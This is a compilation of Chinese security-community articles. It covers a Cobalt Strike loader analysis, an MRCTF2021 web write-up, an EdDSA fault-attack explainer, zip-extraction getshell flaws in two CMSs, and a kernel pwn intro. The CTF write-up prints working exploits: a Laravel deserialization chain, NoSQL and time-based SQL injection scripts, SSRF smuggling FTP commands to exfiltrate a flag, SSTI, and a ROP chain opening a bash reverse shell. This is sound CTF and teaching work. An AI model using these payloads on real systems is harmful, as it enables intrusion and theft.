跟进DecodeData函数里面一开始是判断堆1偏移20的空间的值是否为0，这里是为0的没执行获取当前模块名字的函数，然后执行else传递堆1偏移24空间地址里面的值，该值正好是堆2空间的指针，从堆2中获取KBDTAM131.DLL并设置为当前环境变量然后通过获取当前模块名称，并通过一系列路径的操作函数来拼接出KBDTAM131.DLL的绝对路径
这里主要就是打开带微软签名的文件然后读取里面文件偏移为0x2E10的地方读取0x3F00字节的数据，读取出来后存到新的堆空间堆3中.这里又可以发现最开始解密出来的堆1空间里面的偏移32代表了读取载荷的大小也就是0x3fa00,偏移36代表了载荷的偏移位置.
2个地址的数据相加来判断恶意签名文件大小
继续使用之前的解密算法传入了密钥，,堆1偏移44的地址，微软签名文件中读取的加密载荷,载荷的长度进行运算
然后又使用RtlcomputerCrc32对解密出来的数据进行计算然后与硬编码在堆1空间偏移40地址的值进行比较，我这里是校验不通过的可能是loader跟载荷文件不对应导致的可以修改zf标志位来绕过校验返回1就可以了
解密后的文件简单看了下是CS的beacon反射加载dll,ioc与报告中一致
主线程后续会判断堆1偏移12里面的值来进行自删除的操作删除最外层的loader
## 4.总结
该loader的加载方式并不复杂,读取带有微软签名的载荷文件解密创建线程执行，loader本身也是被各大厂商查杀，只是拥有白签名的载荷确实能躲避大部分杀软的查杀。 | 社区文章 |
# MRCTF2021 Web方向Wp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## ez_larave1
这题出的时间比较短，想的链也比较简单，但是貌似被非预期了。。。考察的还是5.7.X的反序列化漏洞CVE-2019-9081，不过还是想的预选链太少了，简单说一下这个题的预期解思路，用`Beyond
Compare`看一下哪些地方进行修改了，发现多了个路由:
<?php
namespace App\Http\Controllers;
class TaskController
{
public function index(){
$action = $_GET['action'];
if(preg_match('/serialize\/*$/i', $action)){
exit(1);
}
if(preg_match('/serialize/i', basename($action))){
if(isset($_GET['ser'])){
$ser = $_GET['ser'];
unserialize($ser);
return ;
}else{
echo "no unserialization";
return ;
}
}
}
}
`hello`路由充当的反序列化入口，这里当时是想挑选一条好一点的入口`__destruct()`的，这里预期是选取的`vendor\guzzlehttp\psr7\src\FnStream.php`，不过这里原型是有`__wakeup()`不支持反序列化，但是在这里我注释了
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
可以进行命令执行，不过这里只允许一个参数，但是认为这里会存在非预期解，可以调用无函数的类方法的话，应该有许多链可以选择，注意到我们需要key,而key其实被藏在了public目录下`.xxx.txt`中（具体是啥我也不记得了），这里是想考察原生类的利用，经过对比其实发现
`vendor\laravel\framework\src\Illuminate\Filesystem\Filesystem.php`
这里有一个比较撇脚的`__toString()`使用了`FilesystemIterator`，会输出该目录下的文件，输出第一个文件的名字，但是`.axx.txt`不出意外会被排在第一个文件，因此通过这个链来得到我们想要的key，既然可以调用静态的类方法，后面其实也就是重新跳到原来的链子上，直接贴exp吧，各位师傅还请见谅:
<?php
use Psr\Http\Message\StreamInterface;
namespace GuzzleHttp\Psr7{
class FnStream {
private $methods;
private static $slots = ['__toString', 'close', 'detach', 'rewind',
'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
'isReadable', 'read', 'getContents', 'getMetadata'];
public $_fn_close;
public function __construct($obj){
$this->_fn_close = $obj;
}
public function __get($name)
{
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
public function __wakeup()
{
}
public static function decorate()
{
}
public function __toString()
{
}
public function close()
{
}
public function detach()
{
}
public function getSize()
{
}
public function tell()
{
}
public function eof()
{
}
public function isSeekable()
{}
public function rewind()
{}
public function seek($offset, $whence = SEEK_SET)
{}
public function isWritable()
{}
public function write($string)
{
}
public function isReadable()
{
}
public function read($length)
{
}
public function getContents()
{
}
public function getMetadata($key = null)
{
}
}
}
namespace Symfony\Component\HttpFoundation{
class Response{
public $content;
public function __construct($obj)
{
$this->content = $obj;
}
public function sendContent(){
echo $this->content;
return $this;
}
}
}
namespace Illuminate\Filesystem{
use ErrorException;
use FilesystemIterator;
use Symfony\Component\Finder\Finder;
use Illuminate\Support\Traits\Macroable;
use Illuminate\Contracts\Filesystem\FileNotFoundException;
class Filesystem{
}
}
namespace Illuminate\Foundation\Testing{
use PHPUnit\Framework\TestCase as PHPUnitTestCase;
class PendingCommand{
protected $app;
protected $command;
protected $parameters;
public $test;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes)
{
$this->attributes = $attributes;
}
public function __get($key)
{
return $this->attributes[$key];
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
//先通过原生类读到.key.txt
namespace{
//payload 第一部分
/*
$text = new \Illuminate\Filesystem\Filesystem();
$obj1 = new \Symfony\Component\HttpFoundation\Response($text);
$arr = array($obj1,"sendContent"); //调用__toString()方法
$obj = new \GuzzleHttp\Psr7\FnStream($arr);
echo urlencode(serialize($obj));
*/
//payload 第二部分
$genericuser = new Illuminate\Auth\GenericUser(
array(
//这里需要两次使用来循环获得以便成功跳过方法,两次键名分别为expectedOutput和expectedQuestions
"expectedOutput"=>array("crispr"=>"0"),
"expectedQuestions"=>array("crispr"=>"1")
)
);
$app = new Illuminate\Foundation\Application();
//通过如下步骤最终获得的$this->app[Kernel::class]就是该Application实例
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
$genericuser,
$application,
"system",
array("cat /flag")
);
$obj = new \GuzzleHttp\Psr7\FnStream(array($pendingcommand,"run"));
echo urlencode(serialize($obj));
}
## Half-Nosqli
这个题出的特别匆忙，几乎是最后一天出完（一半）的，这也是Half-Nosqli名字的来由,因此有些地方设计的还不是很精巧（好活就是烂了点）
首先是`swagger`的常用路径`./docs`
然后就能看到所有的接口了
第一步是登录
这里使用`nosqli`的永真trick绕过
import requests as r
url = "http://node.mrctf.fun:23000/"
json = {
"email":{
"$ne":1
},
"password":{
"$ne":1
}
}
req = r.post(url+"login",json=json)
print(req.text)
token = req.json()['token']
拿到token后，下一步是利用`home`api打ssrf
首先可以打到自己vps上看看效果
headers = {
"Accept":"*/*",
"Authorization":"Bearer "+token,
}
url_payload = "http://buptmerak.cn:2333"
json = {
"url":url_payload
}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
发现发送了HTTP的请求包
<https://infosecwriteups.com/nodejs-ssrf-by-response-splitting-asis-ctf-finals-2018-proxy-proxy-question-walkthrough-9a2424923501>
这篇文章里讲了一个node下存在的`CRLF`注入方法,即利用unicode截断构造`\r\n`
同样的，我们也可以利用其它unicode构造1空格等特殊字符，所以我们可以伪造一个ftp协议的请求
headers = {
"Accept":"*/*",
"Authorization":"Bearer "+token,
}
url_payload = "http://buptmerak.cn:2333/"
payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("\n","\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0xff00+ord(i))
return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")
#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")
url_payload = url_payload + payload_encode(payload)
print(url_payload)
json = {
"url":url_payload
}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
这里事实上就是最终的payload，在不知道账号密码的情况下使用匿名模式登录，USER为`anonymous`密码随意
切换到`files`文件夹后打开主动传输模式，使用`PORT`和`RETR`向vps发送flag
发送请求，这里根据`docker-compose.yml`给出的内容知道ftp的hostname为`ftp`
这里有个点就是`node`的`http`只支持`http`协议，如果你去打`ftp://`是会解析失败的，监听自己的端口也可以发现这一点。但是我们可以用`http://`构造一个`ftp`的`tcp`包，原理是一样的。
headers = {
"Accept":"*/*",
"Authorization":"Bearer "+token,
}
url_payload = "http://ftp:8899/"
payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("\n","\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0xff00+ord(i))
return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")
#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")
url_payload = url_payload + payload_encode(payload)
print(url_payload)
json = {
"url":url_payload
}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
监听ftp发来的数据
import socket
HOST = '0.0.0.0'
PORT = 1890
blocksize = 4096
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
with conn:
while 1:
data = conn.recv(blocksize)
print(data)
if not data:
break
print('end.')
拿到flag
## wwwafed_app
市面上绝大多数WAF都采取正则匹配机制，然而若WAF的正则本身具有漏洞，就可能在引起非常慢的匹配速度，消耗WAF资源，也造成被保护网站的不可用。这种情况被称为ReDOS（正则表达式DOS）。案例：<https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/>
ReDOS的原理是：使用NFA的正则引擎对于特定的模式串，在匹配过程中会回溯，而回溯次数是指数上升的。典型的漏洞模式有重复符嵌套(`(x+)*y`)，重复符相邻(`.*d+.`)等。
import re,sys
import timeout_decorator
@timeout_decorator.timeout(5)
def waf(url):
# only xxx.yy-yy.zzz.mrctf.fun allow
pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
if re.match(pat,url) is None:
print("BLOCK",end='') # 拦截
else:
print("PASS",end='') # 不拦截
if __name__ == "__main__":
try:
waf(sys.argv[1])
except:
print("PASS",end='')
WAF代码给出，可见其对每个正则有着五秒的执行时间限制，超出时间默认采取放行策略。这个正则是一个典型的漏洞，构造一个REDOS正则即可验证效果：
aaaaaaaaaaaaaaaaaaaaaaaaaa{
绕过了WAF，接下来就简单了。应用只有这一个输入点，尝试SSTI就可以拿到flag。
aaaaaaaaaaaaaaaaaaaaaaaaaa{{''.__class__.__mro__[1].__subclasses__()[94].get_data(0,"/flag")}}
P.S.这里应该不能采取命令注入
import shlex
safeurl = shlex.quote((base64.b64decode(url).decode('utf-8')))
block = os.popen("python3 waf.py " + safeurl).read()
## web_check_in
首先是个登录页面
由于输入什么东西都没回显
不难想到这是个时间盲注
我们sleep和bench_mark都睡不了
我们就可以构造mysql查询时间较长的语句来进行sql注入
（本脚本用的是笛卡尔积）
由于目录遍历的时候可以扫到hint.php和shell.php
我们可以想到sql注入需要的就是读文件
import time
import requests
url_1 = 'http://xxx:xxx/?username='
url_2 = '&password=123'
url = ''
print('Processing...')
i = 1
content = ''
while True:
low = 32
high = 127
mid = low
while high > mid:
payload = "admin' and if(ascii(substr((select(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))),{},1))like {},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0) -- + ".format(
i, mid)
url = url_1 + payload + url_2
time_1 = time.time()
print(url)
try:
res = requests.get(url=url, verify=False,timeout=2)
except:
pass
time_2 = time.time()
time_offset = time_2 - time_1
if time_offset > 2:
content += chr(mid)
break
else:
mid += 1
i += 1
if i == 7:
print(content)
break
我们读到的shell
<?php
if($_POST['M2cTf']){
mrctf($_POST['M2cTf']);
}
我们可以发现这是自写的函数
我们需要找一下写这个函数的.so在哪
传入M2cTf
我们可以读到一个hint
可以知道我们的.so在/Kanto文件夹内
然而我们不知道所需要.so的命名
因此就需要我们的hint.php了
我们读到的hint.php
<?php
require "sum.php";
$check = $_POST['check'];
$command = $_POST['command'];
if ($check == enc("MRCTF2021")){
if (strlen($command < 5)){
$path = "/proc/self/".$command;
$myfile = fopen($path,"r") or die("Unable to open file!");
echo fread($myfile,400000);
fclose($myfile);
}
}
我们发现require了sum.php
<?php
date_default_timezone_set('GMT');
$time = time();
function rand_md($data){
$data = $data * 11980 + 12345;
$data = $data << 4;
return (string)($data) ;
}
function enc ($data)
{
$pwd = substr(rand_md(intval(time()/2)),-6,6);
$key[] ="";
$box[] ="";
$pwd_length = 4;
$data_length = strlen($data);
$pwd = substr($pwd,3,7);
for ($i = 0; $i < 256; $i++)
{
$key[$i] = ord($pwd[$i % $pwd_length]);
$box[$i] = $i;
}
for ($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $key[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $data_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$k = $box[(($box[$a] + $box[$j]) % 256)];
$cipher .= chr(ord($data[$i]) ^ $k);
}
$cipher = base64_encode($cipher);
return $cipher;
}
我们sum.php就是使用了一个时间戳来进行加密
下面是个RC4
我们可以直接使用我们预定的时间当作密钥经过RC4加密之后当作我们的密文
就可以经过check的验证了
我们用这个都maps就可以发现我们php加载的各种.so的基址
我们查看.so发现有strcpy函数
可以导致一个栈溢出
把基址替换成我们脚本的基址
就可以运行
from pwn import *
import requests
context.arch = "amd64"
def attack(url,payload):
pd = {
"M2cTf":payload
}
tmp = requests.post(url=url,data=pd)
return tmp.text
libc = ELF("./libc-2.31.so")
libc.address = 0x7fecadf10000
pop_rdi_ret = 0x0000000000026b72+libc.address
pop_rsi_ret = 0x0000000000027529+libc.address
pop_rax_ret = 0x4a550+libc.address
ret = 0x0000000000025679 + libc.address
popen_addr = libc.sym['popen']
command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/xxxxxx/6666 0>&1"'
stack_base = 0x00007fecae238000
stack_offset = 0x48d0
stack_addr = stack_base-stack_offset
#offset a =0x108
layout = [
'\x00'*0x108,
pop_rdi_ret,
stack_addr+0x80,
pop_rsi_ret,
stack_addr+0x18,
pop_rax_ret,
p64(0),
ret,
popen_addr,
'r'+'\x00'*0x7,
'\x00'*0x60,
command.ljust(0x60, '\x00'),
"a"*0x8
]
buf = flat(layout)
url = "xxx"
attack(url=url,payload=buf)
就可以反弹shell了
之后我们
连上得到flag | 社区文章 |
# 针对EdDSA的fault attack
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近比赛繁多，抽时间看了一下EdDSA签名的有关内容，正好碰到一道题目涉及了对其的故障攻击，确实非常有意思，就在这里记录一下
## EdDSA签名
EdDSA也是基于ECC的签名算法，平常我们见的比较多的应该是ECDSA签名，比如比特币使用的基于曲线secp256k1的ECDSA签名，以及基于NIST选择的几条曲线的签名等等
不过NIST
P-256曲线，也就是secp256r1，因为默认使用的Dual_EC_DRBG随机数生成器一直被怀疑存在NSA隐藏的后门，到了13年斯诺登的曝光更是将这件事推上了风口浪尖，所以大家也就失去了对这一算法的信任，所以当年比特币选择了比较小众的secp256k1曲线还是有自己的考量
另外，我想熟悉ECDSA签名的朋友应该也都知道ECDSA签名算法的安全性是比较依赖于安全的随机数生成算法的，如果随机数算法存在问题，使用了相同的k进行签名，那么攻击者是可以根据签名信息恢复私钥的，历史上也出过几次这样的事故，比如10年索尼的PS3私钥遭破解以及12年受java某随机数生成库的影响造成的比特币被盗事件，关于这部分内容我也写过相关的分析，可以参见[利用随机数冲突的ECDSA签名恢复以太坊私钥](https://xz.aliyun.com/t/2718)，所以说ECDSA签名在设计上还是存在一些问题的，
这也激励了新的EdDSA算法的出现
EdDSA签名算法由Schnorr签名发展变化而来，可以在[RFC8032](https://tools.ietf.org/html/rfc8032)中看到它的定义实现，由曲线和参数的选择不同又可以划分为Ed25519和Ed448算法，顾命思义，它们两分别是基于curve25519和curve448曲线，一般用的比较多的是Ed25519算法，相比Ed448而言运算速度要更快，秘钥与签名空间也较小，二者的使用场景还是有点区别，下面我们主要讲的也是Ed25519
Ed25519所使用的曲线由curve25519变换而来，curve25519是蒙哥马利曲线，经过变换得到Ed25519使用的扭爱德华曲线edwards25519，curve25519曲线的安全性是非常高的，可以在[safecurves](http://safecurves.cr.yp.to/index.html)查看各椭圆曲线的安全指标，curve25519是其中为数不多所有指标都达标的曲线，curve25519常用于密钥交换的DH算法
而且EdDSA的运算速度也比ECDSA算法要快很多，优势可以说是非常明显的，门罗币和zcash等加密货币已经将算法切换到了EdDSA了，目前其也被确认为下一代椭圆曲线算法
Ed25518所取的有限域P跟curve25519相同，都是2^255-19，这也是这一曲线的名字由来，还有很多其他参数如公私钥的长度，选取的基点B等，在不同情况下也有不同的选择，Ed25519中也可做进一步的划分，只要满足rfc文档的定义即可，更多参数的定义可以参考[rfc7748](https://tools.ietf.org/html/rfc7748#section-4.1)
下面我们来看看Ed25519的具体签名过程，相比ECDSA确实有很大区别
Ed25519的私钥k长度为b bit，一般是256，其使用的hash算法H的输出长度为2b bit，一般选择的是SHA512，对应b等于256
首先，对私钥k进行hash,得到
使用hash的结果我们可以计算得到参数a
这样我们就可以得到私钥k对应的公钥A，A=aB，B为选取的基点，下面我们准备对消息M进行签名，过程如下，其中l为基点B的阶
这样就得到了消息M的签名(R,S)，签名的验证则需满足下面的等式
观察整个签名过程，我们不难发现，一个私钥k，当对同一个消息M进行签名时R与S都是固定的，所以说EdDSA是一种确定性的签名算法，不像ECDSA那样每次签名都根据选取的随机送的变化而不同，所以EdDSA的安全性也就不再依赖于随机数生成器
Ed25519的实现程序可以参考这里，[Ed25519
software](http://ed25519.cr.yp.to/software.html)，用python实现的，还是挺有意思
## fault attack
下面我们简单介绍一下fault attack也就是故障攻击，更确切地说我们也可以叫它[差分错误分析(Differential fault
analysis)](https://zh.wikipedia.org/wiki/%E5%B7%AE%E5%88%A5%E9%8C%AF%E8%AA%A4%E5%88%86%E6%9E%90)，算是侧信道攻击的一种，主要针对包含处理器的智能卡，手法是通过物理方法，如电磁辐射，激光等干扰密码芯片的正常工作，迫使其执行某些错误的操作，依据错误的信息能够有效推算出密码系统的密钥信息
其实故障攻击的出现也是一场意外，科学家在研究时发现一块芯片的敏感区域在遭受放射性的照射后出现了比特位翻转的现象，从而引发了故障，但是通过分析这些信息却给我们打开了新世界的大门
引发故障的手法有很多种，比较简单的像是改变电压与温度，修改时钟频率，高级点的像是电磁辐射，激光照射等，还有一些对应的防御手段及应对的算法，这里就不展开了，有兴趣的可以看看这篇论文，[A
SURVEY ON FAULT
ATTACKS](https://link.springer.com/content/pdf/10.1007%252F1-4020-8147-2_11.pdf)
相对而言比较出名的应该是针对RSA签名的故障攻击，为提高RSA处理数据的速度，Quisquater等人利用中国剩余定理改进了RSA算法的运算速度，即CRT-RSA算法，不过这也为故障攻击的分析提供了绝佳的入口，感兴趣的可以看看这篇文章，[RSA
签名故障分析](https://xz.aliyun.com/t/2610)
另外，DES和AES也早已有对应的攻击方式被提出，对于ECC的故障攻击也已经有了很多的研究，fault
attack的威胁还是非常大的，而且攻击的方式其实也是非常巧妙
因为ECC算法对应的密钥空间较小，加之新的EdDSA的运算速度也比较快，所以在智能卡领域ECC也已经有了很多的应用，对应的故障攻击的威胁也就需要得到重视
下面我们就来看看针对Ed25519的故障攻击
## fault attack on EdDSA
这部分内容主要是基于Kudelski的这篇研究，[HOW TO DEFEAT ED25519 AND EDDSA USING
FAULTS](https://research.kudelskisecurity.com/2017/10/04/defeating-eddsa-with-faults/)
前面我们也提到了EdDSA签名的特点是对于同一消息M，不论你对它签名多少次，得到的签名结果都是相同的，那么我们的fault attack也正是针对这一特性
在上面的前面过程中，假设我们针对第四步的hash过程进行攻击，这样就得到了一个错误的h值，即h’，由它计算得到的就是错误的签名值S’，那么根据关系我们就可以得到
要求出a，在上式中只有h’是未知的，那么我们如何知道h’的值呢，其实很简单，也就是爆破，关键在于我们要想办法在攻击时让hash计算得到的结果中某一位进行翻转，具体哪一位是未知的，翻转的结果也是未知的，所以我们就进行逐字节的爆破，在这里假设使用的算法中得到的h是32字节的，那么爆破过程可以用下面的伪代码表示，这也是借用了Kudelski的图
过程还是很好理解的，那么成功得到h’的值以后我们就可以计算得到a了，然而这时候你再看就会发现貌似知道了a也跟私钥没啥联系啊，进行签名的第一步我们得知道私钥的hash的后b位才能跟我们想签署的消息M生成新的h
其实这里利用的就是EdDSA签名的特点，也是这个故障攻击最巧妙的地方，我们不妨随机选择一个r值，不用管签名第一步计算的h，然后使用这个r完成下面的签名过程，得到了签名(R,S)，然后进行签名校验
仔细查看整个推导过程，我们不难发现哪怕我们选择的r只是个随机值，但是签名的验证仍然是可以通过的，也就是说只要知道了a的值我们就可以进行签名的伪造了，并不需要知道原本的私钥，其实这里a已经可以看作是私钥了
可以看到对EdDSA进行故障攻击的过程是非常有趣的，以前提出的很多针对ECDSA的故障攻击多是针对运算过程中的基点进行攻击，比如让它的坐标发生改变，这样对应的基点的阶也将发生改变，很可能从一个大素数变成了一个大合数，而椭圆曲线的安全性要求基点的阶是素数，所以攻击后算法所使用的椭圆曲线其实以及不再安全了，很可能遭受算法如Pohlig-Hellman的攻击，这个我之前也写过相关的介绍，[简析ECC攻击方法之Pohlig-Hellman](https://www.anquanke.com/post/id/159893)
最近Kudelski自己举办了一场crypto的ctf，其中就有一道题目是关于Ed25519的fault attack，下面我们就一起来看看
## fault attack challenge
比赛详情在这里，<https://github.com/kudelskisecurity/cryptochallenge18>
涉及的题目是challenge1，题目给了四个api，如下
sign将返回我们发送的data的签名，我们来看看签名的情况
很有意思，签名的值在变化，其中穿插着一些错误的签名，重复出现的应该就是正确的签名了，不过观察那些错误的签名我们发现它们跟正确签名的R与S都不同，如果按照我们前面介绍的故障攻击的结果，那么应该是R相同而S不同，那么显然这里跟前面是不一样的，此处使用的fault
attack是签名过程中第一步的hash值h进行了攻击，这样后面得到的R与S都是错误的，其实这样反而更简单了
回顾前面a的计算，当时我们未知的数是h’，但是在这里h’我们是可以直接通过错误的签名中的R’计算出来，所以说直接是已知的，那么我们就可以直接计算得到a了
查看一下我们需要签名的消息
完整的脚本可以参考Ledger-Donjon团队的[脚本](https://github.com/Ledger-Donjon/kudelski-cryptochallenge18/tree/master/challenge1),以及他们的[write
up](https://www.ledger.fr/2018/11/20/ledger-wins-the-kudelski-crypto-challenge-behind-the-scenes-1-3%E2%80%8A-%E2%80%8Aone-fault-is-enough-to-break-eddsa/)，其中的公钥可以通过计算得到的a跟基点B计算得到
## 写在最后
这次的研究让我又学到了不少新的东西，深切体会到了知识面的重要性，以前对于EdDSA都没什么了解，不过目前的趋势已经是在转向确定性签名机制了，EdDSA作为其中的代表自然是非常重要的，毕竟它的安全性和速度有目共睹
文章参考了很多的资料，就不一一列举了，重要的资料我都在文中添加了链接，同时水平有限，可能有些地方没写好甚至是出现错误，还希望师傅们多多指教 | 社区文章 |
# 文件解压引发的getshell
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 声明！
本文仅供学习和研究，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，海青实验室及文章作者不承担任何责任。
安全狗海青实验室拥有此文章的修改和解释权，如欲转载或传播，必须保证此文的完整性，包括版权声明在内的全部内容，未经海青实验室同意，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。
攻击者可以快速的从文件上传功能点获得一个网站服务器的权限，所以一直是红蓝对抗中的“兵家必争之地“。而随着对抗不断升级，开发人员的安全意识的不断提高，多多少少也学会了使用黑名单或者白名单等一些手段进行防御，但刁钻的攻击者，依然发现了疏忽之处。本文以两个实例，简单介绍文件解压功能导致的getshell问题。
## PHPOK CMS后台任意文件上传
首先，准备一个包含了一个PHP文件的zip文件，然后在导入模块中将zip文件上传。
在尝试的时候发现，导入模块失败了，但是查看文件夹内容，可以发现文件已经成功被写入了。
### 流程分析
接下来我们从代码层面来看看整个流程是怎样的。
当我们点击导入模块时，浏览器会发送两条请求。先看第一条POST请求。根据PHPOK CMS路由分发的规则，可以定位到upload控制器中的zip方法。
而在43行处，引入了libsupload.php文件并且调用zipfile()函数。
在第135行处，设定了文件后缀类型为zip,由于137行处的if条件不成立，流程进入140行，调用_save()方法。继续跟进_save()方法。
_save()方法在276行处使用file_ext()方法对传入的name参数也就是文件名进行后缀判断，而如果判断通过，则会在之后将压缩文件保存下来。跟进一下file_ext()方法。
在该方法中设置了一个白名单，文件名只能是jpg,gif,png,zip中的其中一种。为什么包含zip呢？不管是程序执行到第186或者189行处，在前面就已经给这两个变量设置值为zip了，所以在白名单中自然包含了zip。目前到此为止，整个上传流程没有什么问题，并且使用了白名单来限制后缀，所以只能上传zip压缩文件。
接着再来看第二处请求：
admin.php?c=module&f=import&zipfile=_cache%2Fa9414ae41044fc5a.zip&_=1570603538199
同样根据路由规则，可以定位到module控制器下的import方法
程序会接受到zipfile参数，是刚刚压缩包保存在缓存文件夹里的文件名。在第705行处判断了是不是存在这个压缩包，如果存在则在708行处进行解压。其中引入了libs/phpzip.php中的unzip函数进行解压。跟进unzip函数，程序实例化了ZipArchive类进行解压，而目标路径$to则是缓存文件夹。
到此不难看出问题，程序将压缩包中的文件解压出来之后，并未进一步的进行判断，以至于里面包含的
PHP文件可以绕过上传文件的限制，使得原本建立的安全防御土崩瓦解。
## ZZZCMS 后台解压文件导致任意文件上传
依照上文漏洞发掘方式，同样的在zzzcms的后台中找到了同样的问题。在项目中搜索关键字unzip。就可以找到解压功能的所在点，从而进行仔细的分析。
### 流程分析
定位到解压功能的所在之处，具体代码如下。
由于关注点在于解压功能，因此其他的case情况不去过多深究，只需要分析unzip处是否有问题即可。可以看到unzip的功能写在了up_data()函数之中，和上文所写到的一样，在解压完毕之后并未对解压出来的文件进行检测，因此不难考虑到压缩包里隐藏一个PHP文件的方法。
在784-785行处，分别定义了解压文件的保存路径（/runtime/updata/）和压缩包文件的存放路径（/runtime/zip/）。在第801行处，使用getfiles()函数来获取指定文件夹下的文件，也就是获取/runtime/zip/下的所有zip文件。然后在第803行处判断是否存在zip文件，如果存在则将压缩包里的文件解压出来。
分析至此，自然而然的可以想到如果能在/runtime/zip/中放置一个包含了PHP文件的压缩包，就可以在网站中植入webshell。因此，需要找到一个上传点，这个上传点的要允许上传zip文件，并且可以将上传文件保存到任意目录下。在整个项目里查找，找到了一个up_load()函数满足需求，具体代码如下所示：
在第651-652行，定义了文件上传的类型和保存的路径，然后在660行处调用upload函数来进行上传的具体操作。跟进upload查看。
在upload函数之中，由于传入的$type值为zip，因此程序流程进入到709行处，于是zip就成为允许上传的文件类型。在718行处会对文件后缀进行对比，如果后缀名在黑名单之中，则允许上传。在第725行处调用handle_upload()函数将上传文件保存下来，继续跟进该函数。
根据配置文件的设置值datefolder默认为0，当该值为0则不会再多一层以时间戳命名的文件夹，注意$folder是可控的，并且没有过滤跳转符号../就在750行处直接拼接构造了路径。紧接着covermark值默认为1，如果该文件路径已经存在则删掉原有的路径，目的是为了覆盖写入。$newname是新的文件名，由于$format的值为NULL，所以新文件名的格式是以时间戳+随机数的方式命名的。也正是因为如此，新的文件名变得不可猜测，所以无法直接上传一个webshell。而在解压功能中，新的文件名被保存成什么并不重要。
整个利用链已经十分清晰了，通过上传功能上传一个包含PHP文件的压缩包路径穿越保存到/runtime/zip/文件夹下，然后再触发解压功能，即可将webshell植入。
在save.php中，当$act为upload时，调用上传文件的功能，为updata时调用解压功能。由于并没有找到相应的前端页面，而且提交表单并没有检查refere值和设置csrf_token，因此可以自己编写一个上传页面，内容如下：
以GET方式设置好文件类型和保存路径，然后将zip文件上传即可。
当文件上传成功，可以看到文件成功被保存在了/runtime/zip/文件夹之下。接着触发解析功能。
可以发现文件已经被成功解压，并且保存在了/runtime/updata/文件夹之中。访问效果如下：
## 总结
从上述两则实例来看，压缩包里包含着webshell颇有些特洛伊木马的味道。当程序对上传后缀限制的相当严格，例如上文提到的PHPOK
CMS，已经使用白名单的机制只能上传四种后缀的文件，却依然因为对压缩文件的处理不当，导致整个防御机制的失效。在ZZZCMS中的实例，猜测开发者的本意是zip文件夹内的内容应该别可控的，但在目录穿越的加持下，超出了开发者的预期从而防御机制土崩瓦解。
那么如何防御呢？建议开发者在实现文件解压功能时考虑以下要点：
1）限制文件的扩展名（如采用白名单的方式）；
2）限制文件的名称（以较为严谨的黑名单约束文件名）；
3）限制文件的大小（以免遭受压缩包炸弹的DDoS攻击）。
因此，在开发的各个环节，都要将安全意识贯彻其中。千里之堤毁于蚁穴，也正是这种细微之处的小问题，才使得攻击者有机可乘。 | 社区文章 |
# Kernel pwn CTF 入门 - 3
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 四、小试牛刀
> 接上文 [Kernel pwn CTF 入门 – 2](https://www.anquanke.com/post/id/255883)
### 5\. kernel 的 UAF 利用
#### b. Kernel ROP
##### 1) 终端设备类型简介
在 Linux 中 `/dev` 目录下，终端设备文件通常有以下几种：
> 注意：以下这些类型的终端不一定在所有发行版 linux 上都存在，例如 `/dev/ttyprintk` 就不存在于我的 kali linux 上。
1. 串行端口终端 （ **/dev/ttySn** ） ：是用于与串行端口连接的终端设备，类似于 Windows 下的 COM。
2. 控制终端 （ **/dev/tty** ） ： **当前进程** 的控制终端设备文件，类似于符号链接，会具体对应至某个实际终端文件。
> 可以使用 `tty` 命令查看其具体对应的终端设备，也可以使用 `ps -ax` 来查看进程与控制终端的映射关系。
> 在 qemu 下，可以通过指定`-append 'console=ttyS0'` 参数，设置 linux kernel tty 映射至
> `/dev/ttySn` 上。
3. 虚拟终端与控制台 （ **/dev/ttyN, /dev/console** ） ：在Linux 系统中，计算机显示器通常被称为 **控制台终端** (Console)。而在 linux **初始字符界面** 下，为了同时处理多任务，自然需要多个终端的切换。这些终端由于是用软件来模拟以前硬件的方式，是虚拟出来的，因此也称为 **虚拟终端** 。
